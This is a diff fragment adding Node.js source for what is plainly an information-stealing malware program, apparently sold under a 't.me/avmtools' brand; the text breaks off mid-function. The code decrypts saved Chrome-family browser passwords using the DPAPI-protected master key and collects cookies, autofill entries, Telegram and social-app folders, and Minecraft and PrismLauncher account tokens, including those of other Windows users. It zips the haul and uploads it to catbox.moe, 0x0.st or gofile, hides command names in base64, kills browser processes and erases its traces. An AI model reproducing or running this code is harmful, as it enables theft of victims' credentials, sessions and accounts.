catch (logError) { + console.error('[CRITICAL] Failed to write to log file:', logError); + } +} + +function logSuccess(message) { + try { + const timestamp = getTimestamp(); + const logMessage = `[${timestamp}] [SUCCESS] ${message}\n`; + if (!mainFolderPath) return; + if (!fs.existsSync(mainFolderPath)) fs.mkdirSync(mainFolderPath, { recursive: true }); + + const logFilePath = path.join(mainFolderPath, 'log.txt'); + fs.appendFileSync(logFilePath, logMessage, 'utf8'); + } catch (e) { } +} + +function logInfo(message) { + try { + const timestamp = getTimestamp(); + const logMessage = `[${timestamp}] [INFO] ${message}\n`; + + if (!mainFolderPath) return; + if (!fs.existsSync(mainFolderPath)) fs.mkdirSync(mainFolderPath, { recursive: true }); + + const logFilePath = path.join(mainFolderPath, 'log.txt'); + fs.appendFileSync(logFilePath, logMessage, 'utf8'); + } catch (e) { } +} + +function copyFolderRecursiveSync(source, target, excludes = [], maxSize = null) { + if (!fs.existsSync(target)) fs.mkdirSync(target, { recursive: true }); + + const globalExcludes = ['lost', 'Cache', 'GPUCache', 'blob_storage', 'Media', 'logs', 'temp', 'working', 'Service Worker', 'DawnCache']; + const heavyExts = ['.exe', '.dll', '.mp4', '.mov', '.avi', '.mkv', '.zip', '.rar', '.7z', '.iso']; + const vitalExts = ['.json', '.txt', '.db', '.wallet', '.key', '.config', '.ldb', '.log']; + + if (fs.lstatSync(source).isDirectory()) { + const files = fs.readdirSync(source); + for (const file of files) { + const curSource = path.join(source, file); + const curTarget = path.join(target, file); + const ext = path.extname(file).toLowerCase(); + + if (excludes.includes(file) || globalExcludes.includes(file)) continue; + if (heavyExts.includes(ext) && !vitalExts.includes(ext)) continue; + + try { + const stats = fs.lstatSync(curSource); + if (stats.isDirectory()) { + copyFolderRecursiveSync(curSource, curTarget, excludes, maxSize); + } else { + if (maxSize && stats.size > maxSize && !vitalExts.includes(ext)) continue; + fs.copyFileSync(curSource, curTarget); + } + } catch (e) { } + } + } +} + +function copyFileIfExists(source, targetDir, fileName = null, excludes = [], maxSize = null) { + if (!fs.existsSync(source)) return false; + + if (!fs.existsSync(targetDir)) { + fs.mkdirSync(targetDir, { recursive: true }); + } + + const targetPath = fileName ? path.join(targetDir, fileName) : path.join(targetDir, path.basename(source)); + + if (fs.lstatSync(source).isDirectory()) { + copyFolderRecursiveSync(source, targetPath, excludes, maxSize); + } else { + if (maxSize && fs.statSync(source).size > maxSize) return false; + fs.copyFileSync(source, targetPath); + } + + return true; +} + + + +async function checkPrismLauncherPortable() { + try { + const possiblePortablePaths = [ + 'C:\\Program Files\\PrismLauncher', + 'C:\\Program Files (x86)\\PrismLauncher', + path.join(os.homedir(), 'Desktop', 'PrismLauncher'), + path.join(os.homedir(), 'Downloads', 'PrismLauncher'), + path.join(os.homedir(), 'Documents', 'PrismLauncher'), + ]; + + for (const portablePath of possiblePortablePaths) { + if (fs.existsSync(portablePath)) { + const cfgPath = path.join(portablePath, 'prismlauncher.cfg'); + const portableIndicator = path.join(portablePath, 'portable.txt'); + + if (fs.existsSync(cfgPath) || fs.existsSync(portableIndicator)) { + + return portablePath; + } + + const exePath = path.join(portablePath, 'PrismLauncher.exe'); + if (fs.existsSync(exePath)) { + + return portablePath; + } + } + } + return null; + } catch (error) { + logError(error, 'checkPrismLauncherPortable'); + return null; + } +} + +async function fetchSocials() { + const socialsPaths = PATHS.socials; + + let socialsFoundCount = 0; + const userHome = os.homedir(); + const socialsDir = path.join(mainFolderPath, 'Socials'); + + for (const [name, relativePath] of Object.entries(socialsPaths)) { + try { + const fullPath = path.join(userHome, relativePath); + + if (fs.existsSync(fullPath)) { + + if (!fs.existsSync(socialsDir)) fs.mkdirSync(socialsDir, { recursive: true }); + const targetPath = path.join(socialsDir, name); + + let excludes = []; + if (name === 'Telegram Desktop') { + excludes = ["emoji", "user_data", "user_data#2", "user_data#3", "user_data#4", "user_data#5", "working", "temp", "temp_data"]; + } + + copyFolderRecursiveSync(fullPath, targetPath, excludes, 5 * 1024 * 1024); + socialsFoundCount++; + } + } catch (err) { + logError(err, `fetchSocials-${name}`); + } + } + return socialsFoundCount; +} + +async function fetchGamesData() { + let gamesCount = 0; + const gamesDir = path.join(mainFolderPath, 'Games'); + const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB + + try { + const userHome = os.homedir(); + + const portablePrismPath = await checkPrismLauncherPortable(); + if (portablePrismPath) { + if (!fs.existsSync(gamesDir)) fs.mkdirSync(gamesDir, { recursive: true }); + const prismTargetDir = path.join(gamesDir, 'PrismLauncher_Portable'); + try { + copyFolderRecursiveSync(portablePrismPath, prismTargetDir, ['region'], MAX_FILE_SIZE); + gamesCount++; + + } catch (err) { + logError(err, 'fetchGamesData-PrismLauncherPortable'); + } + } + + for (const [gameName, gamePaths] of Object.entries(gamesPaths)) { + try { + let gameFound = false; + if (!fs.existsSync(gamesDir)) fs.mkdirSync(gamesDir, { recursive: true }); + const gameTargetDir = path.join(gamesDir, gameName); + + for (const [pathName, config] of Object.entries(gamePaths)) { + try { + const relativePath = typeof config === 'string' ? config : config.path; + const excludes = typeof config === 'string' ? [] : (config.excludes || []); + + let fullPath; + if (relativePath.startsWith('Program Files')) { + fullPath = path.join('C:', relativePath); + } else if (relativePath.startsWith('Documents')) { + fullPath = path.join(userHome, relativePath); + } else { + fullPath = path.join(userHome, relativePath); + } + + if (copyFileIfExists(fullPath, path.join(gameTargetDir, pathName), null, excludes, MAX_FILE_SIZE)) { + gameFound = true; + + } + } catch (err) { + logError(err, `fetchGamesData-${gameName}-${pathName}`); + } + } + + if (gameFound) { + gamesCount++; + + if (gameName === 'Minecraft') { + await extractMinecraftSessionInfo(gameTargetDir); + } + + if (gameName === 'PrismLauncher') { + await extractPrismLauncherInfo(gameTargetDir); + } + } + } catch (err) { + logError(err, `fetchGamesData-${gameName}`); + } + } + + await scanOtherUsersGames(gamesDir, MAX_FILE_SIZE); + } catch (error) { + logError(error, 'fetchGamesData'); + } + + return gamesCount; +} + +async function extractPrismLauncherInfo(prismDir) { + try { + const prismInfo = []; + prismInfo.push('=== PrismLauncher Information ===\n'); + + const accountsPath = path.join(prismDir, 'Accounts', 'accounts.json'); + if (fs.existsSync(accountsPath)) { + try { + prismInfo.push('--- Accounts ---'); + const accountsData = JSON.parse(fs.readFileSync(accountsPath, 'utf8')); + + if (accountsData.accounts && Array.isArray(accountsData.accounts)) { + accountsData.accounts.forEach((account, index) => { + prismInfo.push(`Account ${index + 1}:`); + prismInfo.push(` Type: ${account.type || 'Unknown'}`); + prismInfo.push(` Username: ${account.username || 'N/A'}`); + prismInfo.push(` UUID: ${account.uuid || 'N/A'}`); + + if (account.microsoft) { + prismInfo.push(` Microsoft Account: Yes`); + prismInfo.push(` Access Token: ${account.microsoft.access_token ? 'Present' : 'Missing'}`); + prismInfo.push(` Refresh Token: ${account.microsoft.refresh_token ? 'Present' : 'Missing'}`); + } + + prismInfo.push(''); + }); + } else { + prismInfo.push('No accounts found or invalid format'); + } + } catch (e) { + prismInfo.push(`Error reading accounts.json: ${e.message}`); + } + } + + const configPath = path.join(prismDir, 'Config', 'prismlauncher.cfg'); + if (fs.existsSync(configPath)) { + try { + prismInfo.push('--- Configuration ---'); + const configContent = fs.readFileSync(configPath, 'utf8'); + const lines = configContent.split('\n'); + + const relevantKeys = ['InstanceDir', 'DownloadsDir', 'JavaPath', 'MaxMemAlloc']; + lines.forEach(line => { + relevantKeys.forEach(key => { + if (line.startsWith(key + '=')) { + prismInfo.push(` ${line.trim()}`); + } + }); + }); + + prismInfo.push(''); + } catch (e) { + prismInfo.push(`Error reading config: ${e.message}`); + } + } + const instancesPath = path.join(prismDir, 'Instances'); + if (fs.existsSync(instancesPath)) { + try { + const instances = fs.readdirSync(instancesPath); + prismInfo.push('--- Instances ---'); + prismInfo.push(`Total instances found: ${instances.length}`); + + instances.forEach((instance, index) => { + if (index < 5) { + const instancePath = path.join(instancesPath, instance); + if (fs.existsSync(instancePath)) { + const instanceCfg = path.join(instancePath, 'instance.cfg'); + if (fs.existsSync(instanceCfg)) { + try { + const cfgContent = fs.readFileSync(instanceCfg, 'utf8'); + const nameMatch = cfgContent.match(/name=([^\n]+)/); + const versionMatch = cfgContent.match(/IntendedVersion=([^\n]+)/); + + prismInfo.push(` ${instance}:`); + prismInfo.push(` Name: ${nameMatch ? nameMatch[1] : 'Unknown'}`); + prismInfo.push(` Version: ${versionMatch ? versionMatch[1] : 'Unknown'}`); + } catch (e) { + prismInfo.push(` ${instance}: (config read error)`); + } + } + } + } + }); + if (instances.length > 5) { + prismInfo.push(` ... and ${instances.length - 5} more instances`); + } + prismInfo.push(''); + } catch (e) { + prismInfo.push(`Error reading instances: ${e.message}`); + } + } + + if (prismInfo.length > 1) { + const prismInfoPath = path.join(prismDir, 'PrismLauncher_Info.txt'); + fs.writeFileSync(prismInfoPath, prismInfo.join('\n'), 'utf8'); + } + + } catch (error) { + logError(error, 'extractPrismLauncherInfo'); + } +} + +async function extractMinecraftSessionInfo(minecraftDir) { + try { + const sessionInfo = []; + + const launcherAccountsPath = path.join(minecraftDir, 'Launcher Accounts (Microsoft)', 'launcher_accounts.json'); + if (fs.existsSync(launcherAccountsPath)) { + try { + const accountsData = JSON.parse(fs.readFileSync(launcherAccountsPath, 'utf8')); + sessionInfo.push('=== Minecraft Launcher Accounts ==='); + for (const [key, account] of Object.entries(accountsData.accounts || {})) { + sessionInfo.push(`Account ID: ${key}`); + sessionInfo.push(`Username: ${account.username || 'N/A'}`); + sessionInfo.push(`UUID: ${account.profileId || 'N/A'}`); + sessionInfo.push(`Type: ${account.type || 'N/A'}`); + sessionInfo.push('---'); + } + } catch (e) { + sessionInfo.push('Error reading launcher_accounts.json'); + } + } + + const serversPath = path.join(minecraftDir, 'Server List', 'servers.dat'); + if (fs.existsSync(serversPath)) { + try { + sessionInfo.push('\n=== Minecraft Servers ==='); + sessionInfo.push('Server list found in servers.dat (NBT format)'); + sessionInfo.push(`File size: ${fs.statSync(serversPath).size} bytes`); + } catch (e) { + sessionInfo.push('Error reading servers.dat'); + } + } + + const lastLoginPath = path.join(minecraftDir, 'Last Login', 'lastlogin'); + if (fs.existsSync(lastLoginPath)) { + try { + const lastLoginData = fs.readFileSync(lastLoginPath, 'utf8'); + sessionInfo.push('\n=== Last Login Info ==='); + sessionInfo.push(lastLoginData); + } catch (e) { + sessionInfo.push('Error reading lastlogin file'); + } + } + if (sessionInfo.length > 0) { + const sessionInfoPath = path.join(minecraftDir, 'Minecraft_Session_Info.txt'); + fs.writeFileSync(sessionInfoPath, sessionInfo.join('\n'), 'utf8'); + } + + } catch (error) { + logError(error, 'extractMinecraftSessionInfo'); + } +} + +async function scanOtherUsersGames(gamesDir, maxSize = null) { + try { + const usersDir = 'C:\\Users'; + if (!fs.existsSync(usersDir)) return; + + const users = fs.readdirSync(usersDir); + + for (const user of users) { + try { + if (user === 'Public' || user === 'Default' || user === 'Default User' || + user === 'All Users' || user === os.userInfo().username) { + continue; + } + + const userDir = path.join(usersDir, user); + const userGamesDir = path.join(gamesDir, `User_${user}`); + + const minecraftPaths = [ + path.join(userDir, 'AppData', 'Roaming', '.minecraft'), + path.join(userDir, 'AppData', 'Local', 'Packages', 'Microsoft.MinecraftUWP_8wekyb3d8bbwe', 'LocalState', 'games', 'com.mojang') + ]; + + const prismPaths = [ + path.join(userDir, 'AppData', 'Roaming', 'PrismLauncher'), + path.join(userDir, 'AppData', 'Local', 'PrismLauncher') + ]; + + for (const minecraftPath of minecraftPaths) { + if (fs.existsSync(minecraftPath)) { + copyFolderRecursiveSync(minecraftPath, path.join(userGamesDir, path.basename(minecraftPath)), ['region'], maxSize); + + } + } + for (const prismPath of prismPaths) { + if (fs.existsSync(prismPath)) { + copyFolderRecursiveSync(prismPath, path.join(userGamesDir, 'PrismLauncher'), ['region'], maxSize); + + } + } + } catch (err) { + } + } + } catch (error) { + logError(error, 'scanOtherUsersGames'); + } +} + +async function uploadToCatbox(zipFilePath) { + return new Promise((resolve, reject) => { + const curlPath = 'C:\\Windows\\System32\\curl.exe'; + const cmd = `"${curlPath}" -s -F "reqtype=fileupload" -F "fileToUpload=@\"${zipFilePath}\"" "https://catbox.moe/user/api.php"`; + + try { + const size = fs.statSync(zipFilePath).size; + logInfo(`[Catbox] Uploading ${path.basename(zipFilePath)} (Size: ${(size / 1024 / 1024).toFixed(2)} MB)...`); + } catch (e) { } + + exec(cmd, { timeout: 90000, windowsHide: true }, (error, stdout, stderr) => { + const output = stdout ? stdout.trim() : ''; + + if (error) { + console.error(`[Catbox] Curl/Exec Error: ${error.message}`); + if (error.killed) { + return reject(new Error('Upload to Catbox timed out.')); + } + } + + console.log(`[Catbox] Output length: ${output.length} characters`); + + if (output.startsWith('http')) { + console.log(`[Catbox] Success: ${output}`); + resolve(output); + } else { + if (output && output.includes('http')) { + const match = output.match(/http[^\s]+/); + if (match) { + console.log(`[Catbox] Success (matched link): ${match[0]}`); + return resolve(match[0]); + } + } + + const errMsg = `Upload failed via curl. Output: ${output.slice(0, 100)} | Stderr: ${stderr ? stderr.slice(0, 100) : 'N/A'}`; + reject(new Error(errMsg)); + } + }); + }); +} + +async function uploadTo0x0(zipFilePath) { + return new Promise((resolve, reject) => { + const curlPath = 'C:\\Windows\\System32\\curl.exe'; + const cmd = `"${curlPath}" -s -F "file=@\"${zipFilePath}\"" "https://0x0.st"`; + try { + const size = fs.statSync(zipFilePath).size; + logInfo(`[0x0.st] Uploading ${path.basename(zipFilePath)} (Size: ${(size / 1024 / 1024).toFixed(2)} MB)...`); + } catch (e) { } + exec(cmd, { timeout: 90000, windowsHide: true }, (error, stdout, stderr) => { + const output = stdout ? stdout.trim() : ''; + if (error) { + console.error(`[0x0.st] Curl Error: ${error.message}`); + if (error.killed) return reject(new Error('Upload to 0x0.st timed out.')); + } + if (output.startsWith('http')) { + console.log(`[0x0.st] Success: ${output}`); + resolve(output); + } else { + if (output && output.includes('http')) { + const match = output.match(/http[^\s]+/); + if (match) { + console.log(`[0x0.st] Success (matched): ${match[0]}`); + return resolve(match[0]); + } + } + const errMsg = `0x0.st upload failed. Output: ${output.slice(0, 100)}`; + reject(new Error(errMsg)); + } + }); + }); +} + +async function getServers() { + try { + const response = await axios.get('https://api.gofile.io/servers', { timeout: 10000 }); + if (response.data && response.data.status === 'ok' && response.data.data && Array.isArray(response.data.data.servers)) { + return response.data.data.servers; + } + return []; + } catch (error) { + return []; + } +} + +async function uploadToGofile(zipFilePath) { + const maxRetries = 3; + let lastError = null; + + for (let attempt = 1; attempt <= maxRetries; attempt++) { + try { + if (!fs.existsSync(zipFilePath)) { + throw new Error('Zip file does not exist for upload'); + } + + if (attempt === 1) { + try { + const size = fs.statSync(zipFilePath).size; + logInfo(`[GoFile] Uploading ${path.basename(zipFilePath)} (Size: ${(size / 1024 / 1024).toFixed(2)} MB)...`); + } catch (e) { } + } + + const url = `https://upload.gofile.io/uploadfile`; + + const form = new FormData(); + form.append('file', fs.createReadStream(zipFilePath)); + + const response = await axios.post(url, form, { + headers: { + ...form.getHeaders() + }, + maxContentLength: Infinity, + maxBodyLength: Infinity, + timeout: 60000 + }); + + if (response.data && response.data.status === 'ok') { + return response.data.data.downloadPage; + } else { + const status = response.data ? response.data.status : 'unknown'; + throw new Error(`Gofile upload failed with status: ${status}`); + } + } catch (error) { + lastError = error; + const errorDetail = error.response ? JSON.stringify(error.response.data) : error.message; + console.error(`[ATTEMPT ${attempt}] Gofile upload failed: ${errorDetail}`); + + if (attempt < maxRetries) { + const delay = attempt * 5000; + await new Promise(resolve => setTimeout(resolve, delay)); + } + } + } + + try { + const servers = await getServers(); + if (servers.length > 0) { + const server = servers[Math.floor(Math.random() * servers.length)].name; + const url = `https://${server}.gofile.io/uploadFile`; + const form = new FormData(); + form.append('file', fs.createReadStream(zipFilePath)); + const response = await axios.post(url, form, { + headers: { ...form.getHeaders() }, + maxContentLength: Infinity, + maxBodyLength: Infinity, + timeout: 90000 + }); + if (response.data && response.data.status === 'ok') { + return response.data.data.downloadPage; + } + } + } catch (fallbackError) { + console.error('[FALLBACK] Gofile upload failed:', fallbackError.message); + } + + logError(lastError, 'uploadToGofile final failure'); + throw lastError; +} + +function createZipArchiveCatbox(sourceDir, zipFilePath) { + return new Promise((resolve, reject) => { + const output = fs.createWriteStream(zipFilePath); + const archive = archiver('zip', { zlib: { level: 9 }, comment: "t.me/avmtools | @Wallgod69" }); + + output.on('close', () => resolve(zipFilePath)); + archive.on('error', (error) => { + logError(error, 'createZipArchiveCatbox'); + reject(error); + }); + + archive.pipe(output); + const rootFolderName = path.basename(zipFilePath, '.zip'); + archive.directory(sourceDir, rootFolderName); + archive.finalize(); + }); +} + +function createZipArchive(sourceDir, zipFilePath) { + return new Promise((resolve, reject) => { + const output = fs.createWriteStream(zipFilePath); + const archive = archiver('zip', { zlib: { level: 9 }, comment: "t.me/avmtools | @Wallgod6" }); + + output.on('close', () => resolve(zipFilePath)); + archive.on('error', (error) => { + logError(error, 'createZipArchive'); + reject(error); + }); + + archive.pipe(output); + archive.directory(sourceDir, false); + archive.finalize(); + }); +} + +function getDirectorySize(directory) { + let size = 0; + try { + if (fs.existsSync(directory)) { + const files = fs.readdirSync(directory); + for (const file of files) { + const filePath = path.join(directory, file); + const stats = fs.statSync(filePath); + if (stats.isDirectory()) { + size += getDirectorySize(filePath); + } else { + size += stats.size; + } + } + } + } catch (e) { } + return size; +} + +async function createAndUploadZip() { + const destinationFolder = path.dirname(mainFolderPath); + const baseName = `${locale}-${computerName}`; + let downloadLink = null; + + try { + const folderSize = getDirectorySize(mainFolderPath); + logInfo(`[System] Folder size before zip: ${(folderSize / 1024 / 1024).toFixed(2)} MB`); + } catch (e) { } + + const catboxZipPath = path.join(destinationFolder, `${baseName}.zip`); + try { + console.log(`[Catbox] Creating specialized zip at: ${catboxZipPath}`); + await createZipArchiveCatbox(mainFolderPath, catboxZipPath); + + if (fs.existsSync(catboxZipPath)) { + downloadLink = await uploadToCatbox(catboxZipPath); + if (downloadLink && downloadLink.startsWith('http')) { + logSuccess(`Catbox Upload Success: ${downloadLink}`); + return downloadLink; + } else { + logError(`Catbox provider returned no link: ${downloadLink}`, 'Catbox-Provider-NoLink'); + } + } else { + logError(`Catbox zip file not found after creation: ${catboxZipPath}`, 'Catbox-Zip-Missing'); + } + } catch (e) { + logError(e, 'Catbox-Process-Failed'); + console.log(`[Catbox] Error during zip creation or upload: ${e.message}`); + } + + try { + if (fs.existsSync(catboxZipPath)) { + console.log(`[0x0.st] Attempting upload with existing zip...`); + downloadLink = await uploadTo0x0(catboxZipPath); + if (downloadLink && downloadLink.startsWith('http')) { + logSuccess(`0x0.st Upload Success: ${downloadLink}`); + return downloadLink; + } else { + logError(`0x0.st provider returned no link: ${downloadLink}`, '0x0.st-Provider-NoLink'); + } + } + } catch (e) { + logError(e, '0x0.st-Upload-Failed'); + console.log(`[0x0.st] Failed: ${e.message}. Moving to final fallback...`); + } + + try { + const gofileZipPath = path.join(destinationFolder, `${baseName}_fallback.zip`); + console.log(`[GoFile] Creating fallback zip at: ${gofileZipPath}`); + await createZipArchive(mainFolderPath, gofileZipPath); + + if (fs.existsSync(gofileZipPath)) { + downloadLink = await uploadToGofile(gofileZipPath); + if (downloadLink && downloadLink.startsWith('http')) { + logSuccess(`GoFile Upload Success (Fallback): ${downloadLink}`); + return downloadLink; + } else { + logError(`GoFile provider returned no link: ${downloadLink}`, 'GoFile-Provider-NoLink'); + } + } else { + logError(`GoFile zip file not found after creation: ${gofileZipPath}`, 'GoFile-Zip-Missing'); + } + } catch (e) { + logError(e, 'GoFile-Fallback-Failed'); + console.log(`[GoFile] Failed: ${e.message}`); + } + + if (!downloadLink) { + console.log(`[System] All upload providers failed.`); + logError('All upload providers failed. No download link generated.', 'createAndUploadZip-final'); + } + return downloadLink; +} + +function initializeFolders() { + try { + if (!fs.existsSync(mainFolderPath)) { + fs.mkdirSync(mainFolderPath, { recursive: true }); + } + + const logFilePath = path.join(mainFolderPath, 'log.txt'); + const startMessage = `[START] ${getTimestamp()} | PID: ${process.pid}\n`; + if (!fs.existsSync(logFilePath)) { + fs.writeFileSync(logFilePath, startMessage, 'utf8'); + } else { + fs.appendFileSync(logFilePath, startMessage, 'utf8'); + } + } catch (error) { } +} + +function selfCleanup(downloadLink) { + try { + const destinationFolder = path.dirname(mainFolderPath); + const zipFilePath = path.join(destinationFolder, `${locale}-${computerName}.zip`); + const fallbackZipPath = path.join(destinationFolder, `${locale}-${computerName}_fallback.zip`); + + if (fs.existsSync(zipFilePath)) { + try { fs.unlinkSync(zipFilePath); } catch (e) { } + } + if (fs.existsSync(fallbackZipPath)) { + try { fs.unlinkSync(fallbackZipPath); } catch (e) { } + } + + if (downloadLink && fs.existsSync(mainFolderPath)) { + const deleteFolderRecursive = (folderPath) => { + if (fs.existsSync(folderPath)) { + fs.readdirSync(folderPath).forEach((file) => { + const curPath = path.join(folderPath, file); + if (fs.lstatSync(curPath).isDirectory()) { + deleteFolderRecursive(curPath); + } else { + fs.unlinkSync(curPath); + } + }); + fs.rmdirSync(folderPath); + } + }; + deleteFolderRecursive(mainFolderPath); + } else { + console.log('[CMD] 0x01P:', mainFolderPath); + } + + const parentDir = path.dirname(mainFolderPath); + const lockFile = path.join(parentDir, 'WinHost.lock'); + if (fs.existsSync(lockFile)) { + try { fs.unlinkSync(lockFile); } catch (e) { } + } + + if (fs.existsSync(parentDir) && fs.readdirSync(parentDir).length === 0) { + try { fs.rmdirSync(parentDir); } catch (e) { } + } + + } catch (error) { + } +} + +async function loadConfiguration() { + const keyCache = {}; + + for (let i = 0; i < browserPath.length; i++) { + try { + const profilePath = browserPath[i][0]; + const userDataPath = browserPath[i][2]; + + if (!fs.existsSync(profilePath)) { + continue; + } + + if (keyCache[userDataPath]) { + + browserPath[i].push(keyCache[userDataPath]); + continue; + } + + const localStatePath = userDataPath + 'Local State'; + if (!fs.existsSync(localStatePath)) { + continue; + } + + let encryptedKey = Buffer.from( + JSON.parse(fs.readFileSync(localStatePath)) + .os_crypt.encrypted_key, + 'base64' + ).slice(5); + const keyArray = Array.from(encryptedKey); + const decryptedKey = await new Promise((resolve, reject) => { + exec( + 'powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(' + + keyArray + + "), $null, 'CurrentUser')", + { timeout: 10000, windowsHide: true }, + (error, stdout, stderr) => { + if (error) { + reject(error); + } else { + resolve(stdout); + } + } + ); + }); + + const filteredKey = decryptedKey.toString().split('\r\n').filter((line) => line != ''); + const keyBuffer = Buffer.from(filteredKey); + + keyCache[userDataPath] = keyBuffer; + browserPath[i].push(keyBuffer); + + + } catch (error) { + logError(error, `getEncrypted-${browserPath[i][1]}`); + } + } +} + +async function fetchUserData() { + const passwordsData = []; + let passwordsCount = 0; + + for (let i = 0; i < browserPath.length; i++) { + if (!fs.existsSync(browserPath[i][0])) { + continue; + } + + let appName; + if (browserPath[i][0].includes('Local')) { + appName = browserPath[i][0].split('\\Local\\')[1].split('\\')[0]; + } else { + appName = browserPath[i][0].split('\\Roaming\\')[1].split('\\')[1]; + } + + const loginDataPath = browserPath[i][0] + 'Login Data'; + const tempDbPath = browserPath[i][0] + 'passwords.db'; + + if (!fs.existsSync(loginDataPath)) { + continue; + } + + try { + fs.copyFileSync(loginDataPath, tempDbPath); + } catch (error) { + logError(error, `getp-copy-${appName}`); + continue; + } + + const db = new sqlite3.Database(tempDbPath); + + await new Promise((resolve, reject) => { + db.each( + 'SELECT origin_url, username_value, password_value, date_created FROM logins', + (err, row) => { + if (err) { + logError(err, `getp-dbEach-row-${appName}`); + return; + } + if (!row || !row.username_value) { + return; + } + + try { + let encryptedPassword = row.password_value; + const iv = encryptedPassword.slice(3, 15); + const encrypted = encryptedPassword.slice(15, encryptedPassword.length - 16); + const authTag = encryptedPassword.slice(encryptedPassword.length - 16, encryptedPassword.length); + + if (!browserPath[i][3]) { + return; + } + + const decipher = crypto.createDecipheriv( + 'aes-256-gcm', + browserPath[i][3], + iv + ); + decipher.setAuthTag(authTag); + const password = + decipher.update(encrypted, 'base64', 'utf-8') + + decipher.final('utf-8'); + + const dateCreated = new Date(row.date_created / 1000 - 11644473600 * 1000).toLocaleString(); + + passwordsData.push( + '================\nURL: ' + + row.origin_url + + '\nUsername: ' + + row.username_value + + '\nPassword: ' + + password + + '\nDate Created: ' + + dateCreated + + '\nApplication: ' + + appName + + ' ' + + browserPath[i][1] + + '\n' + ); + passwordsCount++; + } catch (error) { } + }, + (err) => { + if (err) logError(err, `getp-dbEach-complete-${appName}`); + db.close(); + resolve(''); + } + ); + }); + } + + if (passwordsData.length === 0) { + passwordsData.push('No passwords found'); + } + + if (passwordsData.length) { + const passwordsFolderPath = path.join(mainFolderPath, 'Passwords'); + if (!fs.existsSync(passwordsFolderPath)) { + fs.mkdirSync(passwordsFolderPath, { recursive: true }); + } + + const passwordsFilePath = path.join(passwordsFolderPath, 'Passwords.txt'); + fs.writeFileSync(passwordsFilePath, user.copyright + passwordsData.join(''), { + encoding: 'utf8', + flag: 'a+', + }); + } + + return passwordsCount; +} + +async function fetchSessionData() { + const cookiesByBrowser = {}; + let cookiesCount = 0; + + for (let i = 0; i < browserPath.length; i++) { + try { + if (!fs.existsSync(browserPath[i][0])) { + continue; + } + + let appName; + if (browserPath[i][0].includes('Local')) { + appName = browserPath[i][0].split('\\Local\\')[1].split('\\')[0]; + } else { + appName = browserPath[i][0].split('\\Roaming\\')[1].split('\\')[1]; + } + + const browserName = `${appName} ${browserPath[i][1]}`; + cookiesByBrowser[browserName] = []; + + let cookiesPath = browserPath[i][0] + 'Network\\Cookies'; + if (!fs.existsSync(cookiesPath)) { + cookiesPath = browserPath[i][0] + 'Cookies'; + } + + const tempDbPath = path.join(os.tmpdir(), `cookies_${generateRandomString(8)}.db`); + + if (!fs.existsSync(cookiesPath)) continue; + + try { + fs.copyFileSync(cookiesPath, tempDbPath); + } catch (e) { + continue; + } + const db = new sqlite3.Database(tempDbPath); + + await new Promise((resolve) => { + db.each( + 'SELECT host_key, name, encrypted_value, creation_utc, expires_utc FROM cookies', + (err, row) => { + if (err) { + logError(err, `getc-dbEach-${browserName}`); + return; + } + if (!row) return; + + try { + const creationDate = new Date(row.creation_utc / 1000 - 11644473600 * 1000).toLocaleString(); + const expirationDate = new Date(row.expires_utc / 1000 - 11644473600 * 1000).toLocaleString(); + + cookiesByBrowser[browserName].push( + '================\nHost: ' + + row.host_key + + '\nName: ' + + row.name + + '\nValue: Only in Premium Version | t.me/avmtools' + + '\nCreation Date: ' + + creationDate + + '\nExpiration Date: ' + + expirationDate + + '\nApplication: ' + + browserName + + '\n' + ); + cookiesCount++; + } catch (processError) { + logError(processError, `getc-process-${browserName}`); + } + }, + (err) => { + if (err) logError(err, `getc-dbFinal-${browserName}`); + db.close((closeErr) => { + try { if (fs.existsSync(tempDbPath)) fs.unlinkSync(tempDbPath); } catch (e) { } + }); + + resolve(); + } + ); + }); + } catch (error) { + logError(error, `getc-browser-${browserPath[i][1]}`); + } + } + + const cookiesDir = path.join(mainFolderPath, 'Cookies'); + + for (const [browserName, cookies] of Object.entries(cookiesByBrowser)) { + if (cookies.length > 0) { + if (!fs.existsSync(cookiesDir)) fs.mkdirSync(cookiesDir, { recursive: true }); + const cookiesFile = path.join(cookiesDir, `cookies_${browserName.toLowerCase().replace(/\s+/g, '_')}.txt`); + try { + fs.writeFileSync(cookiesFile, user.copyright + cookies.join(''), 'utf8'); + + } catch (writeError) { + logError(writeError, `getc-writeFile-${browserName}`); + } + } + } + + return cookiesCount; +} + +async function fetchFormData() { + const autofillData = []; + let autofillCount = 0; + + for (const pathData of browserPath) { + const browserPathExists = fs.existsSync(pathData[0]); + + if (!browserPathExists) { + continue; + } + + const applicationName = pathData[0].includes('Local') + ? pathData[0].split('\\Local\\')[1].split('\\')[0] + : pathData[0].split('\\Roaming\\')[1].split('\\')[1]; + + const webDataPath = pathData[0] + 'Web Data'; + const webDataDBPath = pathData[0] + 'webdata.db'; + + if (!fs.existsSync(webDataPath)) { + continue; + } + + try { + fs.copyFileSync(webDataPath, webDataDBPath); + } catch (error) { + logError(error, `geta-copy-${applicationName}`); + continue; + } + + const db = new sqlite3.Database(webDataDBPath); + + await new Promise((resolve, reject) => { + db.each( + 'SELECT * FROM autofill', + function (error, row) { + if (error) { + logError(error, `geta-dbEach-row-${applicationName}`); + return; + } + if (row) { + autofillData.push( + '================\nName: ' + + row.name + + '\nValue: ' + + row.value + + '\nApplication: ' + + applicationName + + ' ' + + pathData[1] + + '\n' + ); + autofillCount++; + } + }, + function (err) { + if (err) logError(err, `geta-dbEach-complete-${applicationName}`); + db.close(); + resolve(''); + } + ); + }); + + } + + if (autofillData.length) { + const autofillsFolderPath = path.join(mainFolderPath, 'Autofills'); + const autofillsFilePath = path.join(autofillsFolderPath, 'Autofills.txt'); + + if (!fs.existsSync(autofillsFolderPath)) { + fs.mkdirSync(autofillsFolderPath, { recursive: true }); + } + + fs.writeFileSync(autofillsFilePath, user.copyright + autofillData.join(''), { + encoding: 'utf8', + flag: 'a+', + }); + } + + return autofillCount; +} + +function cleanupProcesses() { + try { + const processMap = PATHS.processes; + + const processesToKill = new Set(); + + for (const entry of browserPath) { + const pathToCheck = entry[0]; + if (fs.existsSync(pathToCheck)) { + for (const [key, exe] of Object.entries(processMap)) { + if (pathToCheck.includes(key)) { + processesToKill.add(exe); + } + } + } + } + + if (processesToKill.size > 0) { + const taskListCmd = decodeString('dGFza2xpc3Q='); + const taskKillCmd = decodeString('dGFza2tpbGw='); + + try { + const tasks = execSync(taskListCmd, { timeout: 3000, windowsHide: true }).toString(); + + for (const proc of processesToKill) { + if 